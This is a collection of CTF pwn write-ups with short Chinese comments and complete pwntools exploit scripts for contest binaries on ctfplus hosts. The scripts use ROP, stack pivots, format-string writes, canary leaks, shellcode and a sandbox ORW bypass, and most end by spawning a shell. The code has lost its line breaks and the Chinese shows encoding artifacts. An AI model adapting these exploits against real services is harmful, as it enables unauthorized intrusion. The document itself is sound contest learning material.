from pwn import *\# io = process("./pwn")elf = ELF("./pwn")libc = elf.libccontext.terminal = ["tmux", "new-window"]context.log_level = "debug"\# gdb.attach(io)bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']for i in bytes_for:\# io = process("./pwn2.34")io = remote("nc1.ctfplus.cn", 17014)try:io.recvuntil(b'> \n')io.send(b'/bin/sh\x00')io.recvuntil(b'index:\n')io.sendline(b'88')io.sendline(i)io.recvuntil(b'index2:\n')\# gdb.attach(io, 'b *0x401158')io.sendline(b'59')io.sendline(b'cat flag')if b'{' in io.recv():io.interactive()else:io.close()continueexcept:io.close()continue
struct_one_byte
又讓我以為是堆題,然后發(fā)現(xiàn)給了后門和泄漏,覺得大事肯定不簡單
然后一看代碼,太亂了,不想逆,直接調(diào)上了。。。
當(dāng)然題目名字給了提示,直接能注意到結(jié)構(gòu)體最后的0x40會覆蓋下一結(jié)構(gòu)體標(biāo)志著編輯長度的size,那就好辦了,直接寫調(diào)用函數(shù)地址為system加控rdi就行了(別問為啥不寫backdoor,純粹想試試行不行,)
from pwn import *\# io = process("./struct")io = remote("nc1.ctfplus.cn", 11246)elf = ELF("./struct")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recv()io.sendline(b'4')io.recvuntil(b'gift\naddr:')printf_addr = int(io.recv(14), 16)lg('printf_addr', printf_addr)libcbase = printf_addr - libc.symbols['printf']lg('libcbase', libcbase)puts_addr = libcbase + libc.symbols['puts']lg('puts_addr', puts_addr)system_addr = libcbase + libc.symbols['system']def choose(choice):io.sendlineafter(b'3. change player info:', str(choice).encode())def alloc(id, name, info, student=2):choose(1)io.sendlineafter(b'Index:', str(id).encode())if 2 == student:io.sendlineafter(b'>', str(2).encode())elif 1 == student:io.sendlineafter(b'>', str(1).encode())io.sendlineafter(b'name :', name)io.sendlineafter(b'info :', info)def edit(id, name):choose(3)io.sendlineafter(b'input index:', str(id).encode())io.sendafter(b'name :', name)def work(id):choose(2)io.sendlineafter(b'input index:', str(id).encode())alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')alloc(0, b'0', b'0')\# alloc(1, b'1', b'1', 1)\# alloc(0xf, b'15', b'15')edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)\# gdb.attach(io)work(1)io.interactive()\# dbg()
stack_overflow
把棧地址甩臉上了,直接行動,要加個棧地址,到現(xiàn)在還不知道向buf寫的判斷是用來干嘛的
from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 36068)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF("./pwn")libc = elf.libcio.recvuntil(b"give this gift:")\# gdb.attach(io)take = u64(io.recv(6).ljust(8, b"\x00"))print(hex(take))\# gdb.attach(io)io.recv()io.send(p64(take + 0x29))io.recv()io.send(b'\x00'*0x7)io.recv()payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)\# gdb.attach(io)io.send(payload)puts_addr = u64(io.recv(6).ljust(8, b"\x00"))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system_addr = libcbase + libc.symbols['system']print(hex(system_addr))binsh_addr = libcbase + next(libc.search(b"/bin/sh"))print(hex(binsh_addr))one_gadget = libcbase + 0xebc88print(hex(one_gadget))\# gdb.attach(io)payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)io.send(payload)io.interactive()
WhoIsAdmin
提示直接把考點講了,覺得已經(jīng)不能再簡單了,都可以當(dāng)例題了
數(shù)組溢出買下系統(tǒng),然后用CBC翻轉(zhuǎn)攻擊的腳本轉(zhuǎn)換明文,就可以直接用改系統(tǒng)名的溢出打正常ROP(決定拿來當(dāng)例題給新生講,嘻嘻)
from pwn import *from LibcSearcher import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./whoisadmin")io = remote('nc1.ctfplus.cn', 33679)elf = ELF("./whoisadmin")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))from Crypto.Util.strxor import strxorimport binasciidef decrypt(string):\# 動態(tài)輸入密文和目標(biāo)明文塊ciphertext_hex = string # 示例密文ciphertext = binascii.unhexlify(ciphertext_hex)\# 定義塊大小(通常為16字節(jié))BLOCK_SIZE = 16\# 確保密文長度足夠長,至少包含兩個塊if len(ciphertext) < 2 * BLOCK_SIZE:raise ValueError("密文太短,至少需要包含兩個塊。")\# 分離前兩塊密文C_0 = ciphertext[:BLOCK_SIZE] # 第一塊C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二塊\# 定義已知的原始明文塊和目標(biāo)明文塊original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字節(jié)target_plaintext = b"AdminAdminAdminA" # 目標(biāo)明文前16字節(jié)\# 計算所需的異或調(diào)整量delta = strxor(original_plaintext, target_plaintext)\# 修改C_0,使得解密C_1時得到目標(biāo)明文new_C_0 = strxor(C_0, delta)\# 組合新的密文,保持C_1不變modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 僅修改第一個塊\# 輸出結(jié)果print("原始密文: ", ciphertext_hex.decode())print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())return binascii.hexlify(modified_ciphertext).decode()def choose(choice):io.sendlineafter(b'Your choice: >', str(choice).encode())def new_normal_count():choose(1)io.recvuntil(b'Your account authcode: ')return decrypt(io.recvuntil(b'\n', drop=True))def show_money():choose(3)def buy_max_accountLimit(number):choose(4)io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())def show_max_accountLimit():choose(5)def buy_system():choose(6)def try_to_login(name):choose(7)io.sendlineafter(b'Please Input your account authcode:', name)def change_system_name(new_system_name):choose(8)io.sendlineafter(b'Please input the new system name: ', new_system_name)buy_max_accountLimit(-100000)buy_system()attack = new_normal_count()try_to_login(attack)\# gdb.attach(io)pop_rdi = 0x0000000000402db3ret = 0x000000000040101apayload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)change_system_name(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))libc = LibcSearcher('puts', puts_addr)lg('puts_addr', puts_addr)libcbase = puts_addr - libc.dump('puts')lg('libcbase', libcbase)system = libcbase + libc.dump('system')lg('system_addr', system)binsh = libcbase + libc.dump('str_bin_sh')lg('bin_sh_addr', binsh)payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)change_system_name(payload)io.interactive()\# dbg()
stdout
蠻有意思,雖然我本來就知道設(shè)置緩沖區(qū)后write還是能夠直接用fd正常工作,不過還是覺得給了提示,也可以當(dāng)例題,再偷一道,哈哈
直接調(diào)試發(fā)現(xiàn)寄存器和返回地址殘留修改后跳轉(zhuǎn)到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,當(dāng)時one_gadget死活打不通,找了師傅,還沒找到題作者,直接換成system就出了,還是太懶了,哈哈
from pwn import *
# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})# io = process("./pwn")# io = remote('nc1.ctfplus.cn', 35132)elf = ELF("./pwn")# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))# gdb.attach(io, 'b vuln')# shellcode = '''# syscall# '''# shellcode = asm(shellcode, arch='amd64')# payload = shellcode.ljust(0x38, b'\x00')# payload = b'\x0f\x05'# payload = payload.ljust(0x38, b'\x00')# payload = asm(shellcraft.amd64.linux.sh())# print(payload)# payload = b'A'*0x28while True:# io = process("./pwn")io = remote('nc1.ctfplus.cn', 35132)try:payload = b'A'*0x8# io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))io.send(payload)# io.sendline()io.recvuntil(b'???,out??')# io.sendline()# io.send(b'AAA')# io.send(b'A'*0x40 + b'\x00')# io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')# io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')# io.send(b'A'*0x40 + p64(0) + b'\x03\x54')# io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')# io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')io.send(b'A'*0x40 + p64(0) + b'\x78\x53')io.recvuntil(b'A'*0x40)io.recv(0x8)elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382lg('elfbase', elfbase)pop_rdi = elfbase + 0x0000000000001403lg('pop_rdi', pop_rdi)ret = elfbase + 0x000000000000101alg('ret', ret)bss = elfbase + 0x5040lg('bss', bss)take = elfbase + 0x1310lg('take', take)pop_all = elfbase + 0x00000000000013fclg('pop_all', pop_all)io.recv(0xa)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)binsh = libcbase + next(libc.search(b'/bin/sh'))lg('binsh', binsh)onegadget = libcbase + 0xe3afelg('onegadget', onegadget)io.recv()\# gdb.attach(io)# payload = b'A'*0x48 + p64(onegadget)# payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)# io.send(payload)payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)io.send(payload)payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)io.send(payload)payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)io.send(payload)# gdb.attach(io)payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)# payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)io.send(payload)io.interactive()except:io.close()continue
簡單的簽到
沒啥好說的,甚至不用會pwn
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 35889)io.recv()io.recv()io.sendline()calc = io.recvuntil(b'=', drop=True)take = eval(calc)io.sendline(str(take).encode())io.interactive()
這里的空間有點小啊
read接棧遷的板子題了,調(diào)下長度和bss就能打通
from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 16336)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF('./main')libc = elf.libcio.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')io.sendline(b'1')io.recvuntil(b'Now you can write something')bss = 0x601020 + 0x100payload = b'A'*0x30 + p64(bss) + p64(0x40071C)io.send(payload)payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)io.send(payload)payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)io.send(payload)io.recv(1)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']print(hex(libcbase))system = libcbase + libc.sym['system']print(hex(system))og = libcbase + 0x4f302payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5io.send(payload)io.interactive()
真的能走到后門嗎
具體通過泄漏能夠拿到程序自己和保護給的兩個canary,然后回去重新用printf寫一位返回地址到后門就行了
from pwn import *\# io = process("./fmt")io = remote("nc1.ctfplus.cn", 18593)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'elf = ELF('./fmt')libc = elf.libcio.recv()io.send(p64(0x404018))io.recv()payload = b'%' + str(0x127D).encode() + b'c%16$hn'payload = b'%14$p%17$p'payload = payload.ljust(0x10, b'\x00')\# gdb.attach(io)\# io.send(b'KKKKKKKK')io.send(payload)\# io.send(payload)\# io.recvline()io.recvuntil(b'your name:\n')take = int(io.recv(14), 16)print(hex(take))canary = int(io.recv(18), 16)print(hex(canary))\# gdb.attach(io)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')io.send(payload)\# gdb.attach(io, 'b vuln')io.recv()io.send(p64(take - 0x27))\# io.send(b'\x66\x66\x66')payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')\# gdb.attach(io)io.send(payload)io.interactive()
ez_fmt
確實簡單,我當(dāng)printf打了。。。
Scanf更簡單,只要知道偏移就能夠任意寫任意類型了
from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 25743)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'\# io.recv()\# payload = b'0x18'\# # gdb.attach(io, 'b *0x55555555532e')\# io.sendline(payload)\# main = u64(io.recv(6).ljust(8, b'\x00')) - 53\# log.info(f"Main addr: {hex(main)}")\# elfbase = main - elf.symbols['main']\# log.info(f"Elf base: {hex(elfbase)}")\# count_addr = elfbase + 0x4010\# log.info(f"Count addr: {hex(count_addr)}")io.recv()payload = b'0x9'\# gdb.attach(io, 'b *0x55555555532e')io.sendline(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")stack_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info(f"Stack addr: {hex(stack_addr)}")io.recv()payload = b'0x38'\# gdb.attach(io, 'b *0x55555555533e')io.sendline(payload)libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']log.info(f"Libc base: {hex(libcbase)}")system_addr = libcbase + libc.symbols['system']log.info(f"System addr: {hex(system_addr)}")binsh_addr = libcbase + next(libc.search(b"/bin/sh"))log.info(f"Binsh addr: {hex(binsh_addr)}")one_gadget_addr = libcbase + 0xe3b01log.info(f"One gadget addr: {hex(one_gadget_addr)}")\# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前兩位one_gadget = one_gadget_addr & 0xffffffff # 提取后四位log.info(f"one_gadget addr: {hex(one_gadget)}")io.recv()payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'payload = payload.ljust(0x20, b'\x00')\# payload = b'A'*8 + b'B'*0x8print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.sendline(str(one_gadget).encode())io.interactive()
hard_orw
對新生可能有點不友好,但是也就是要轉(zhuǎn)一下模式有32位的open,然后用64位的sendfile就行了,其它的沒啥難點,搓一下就出了
from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./sandbox")\# io = remote('nc1.ctfplus.cn', 37876)elf = ELF("./sandbox")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))\# gdb.attach(io)io.recvuntil(b'Please input your id')io.send(b'\x00\x00\x00\x00')io.recvuntil(b'Please input your age')io.send(b'\xf0\x15\x40\x00')io.recv()\# push 0x67616c66\# push 0x2\# pop rax\# mov rdi,rsp\# xor rsi,rsi\# syscall \# mov rsp, 0x405100\# push 0x23\# add rsi, 9\# push rsi\# retfqshellcode = '''mov rsp, 0x405100push 0x23add rsi, 0x10push rsiretfq'''shellcode1 = '''push 0x67616c66add esi, 0xecmov ebx,espxor ecx,ecxxor edx,edxmov eax,5int 0x80push 0x33sub esi, 0x100add esi, 0x39push esiretf'''shellcode2 = '''mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)shellcode1 = asm(shellcode1, arch='i386', bits=32)shellcode2 = asm(shellcode2)shellcode += shellcode1shellcode += shellcode2shellcode = shellcode.ljust(0x1000, b'\x00')\# payload = b'\xe8\xfc\xf0\xff\x00'\# payload = b'\xE9\xfb\xf0\xff\xff'\# payload = b'H\x83\xed\x18\xc3'\# payload = b'\xc3'payload = b'\xffU\xf0'\# gdb.attach(io)io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')io.send(payload)\# pause()\# gdb.attach(io)io.send(shellcode)io.interactive()
你會棧溢出嗎
直接到后門
from pwn import *# io = process("./stackover")io = remote("nc1.ctfplus.cn", 17766)io.recv()payload = b'A'*(0xC + 0x8) + p64(0x40073D)io.sendline(payload)io.interactive()
orz?orw!
jmp rsp到最后才想起來,打了半天leave_ret然后都報錯。。。
此外就是神奇的復(fù)現(xiàn)的時候本地打不通了。。。
最大的問題其實是不能用\x00來泄漏canary又要用來當(dāng)作read的長度參數(shù),但是太長read是不會成功執(zhí)行的,最開始本地調(diào)試到0x66可以才選的,并且遠端也成功了,結(jié)果本地復(fù)現(xiàn)不成功,不然也想當(dāng)例題的,等wp了
from pwn import *io = process("./orw")\# io = remote("nc1.ctfplus.cn", 39115)\# elf = ELF("./orw")\# libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'io.recvuntil(b'please input your size:')shellcode = '''push 0x67616c66push 0x2pop raxmov rdi,rspxor rsi,rsisyscall mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)print(len(shellcode))\# gdb.attach(io)io.sendline(str(4).encode())io.recvuntil(b'Please input your name:')\# payload = b'\x66'*0xapayload = b'\x66'*(0xa)\# gdb.attach(io, 'b *0x401382')io.send(payload)\# io.recvuntil(b'\x66'*0xa)io.recvuntil(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")\# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))\# log.info(f"Stack addr: {hex(stack_addr)}")io.recvuntil(b'give me your id')payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcodegdb.attach(io, 'b *0x4013c1')io.send(payload)io.interactive()
ez_shellcode
寫完shellcode跳轉(zhuǎn)過去
from pwn import *\# io = process("./shellcode")io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'payload = asm(shellcraft.sh())\# payload = b'KKKK'\# gdb.attach(io)io.sendafter(b'do you know shellcode?', payload)\# gdb.attach(io)\# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))io.interactive()
學(xué)校的爛電梯plus
看注釋也能發(fā)現(xiàn),哈哈爆破出來的,想過要住棧上打一個函數(shù)的返回,但是沒想到打誰,爆破出了回去調(diào)發(fā)現(xiàn)是read,后來的pro里把棧頂?shù)娜サ袅司图牧?。?!?/p>
from pwn import *io = process("./pwn")\# io = remote("nc1.ctfplus.cn", 34720)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))print(elf.plt['puts'])\# io.recv()\# gdb.attach(io)gdb.attach(io, 'b *0x40134d')\# gdb.attach(io, 'b *0x401389')\# gdb.attach(io, 'b *0x4013cb')\# io.sendline(str(-0x20).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0).encode())\# io.sendline(str(-0x2).encode())\# io.sendline(str(-0x4).encode())\# io.sendline(str(-0x6).encode())\# io.sendline(str(-0x8).encode())\# io.sendline(str(-0xa).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0xe).encode())\# io.sendline(str(-0x12).encode())\# io.sendline(str(-0x20).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())\# io.sendline(str(0x2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.recv()\# io.recv()import struct\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())pop_rdi = 0x000000000040127fpayload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)io.recv()puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system_addr = libcbase + libc.symbols['system']lg('system_addr', system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())ret = 0x000000000040101apayload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)\# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())\# io.recv()\# io.sendline(str(-0xc).encode())\# io.recv()\# io.sendline(str(2.0747565e-317).encode())\# io.recv()\# io.sendline(b'A'*0x8)\# # io.sendline(str(2.0747585e-317).encode())io.interactive()
su~~~~
沒懂題目名叫su干嘛,直接ROP就出了
from pwn import *\# io = process("./csu")io = remote("nc1.ctfplus.cn", 29975)context(arch='amd64', os='linux')context.log_level = "debug"context.terminal = ['tmux', 'new-window']elf = ELF("./csu")libc = elf.libcio.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])io.sendline(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system = libcbase + libc.symbols['system']print(hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))print(hex(str_bin_sh))io.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)io.sendline(payload)io.interactive()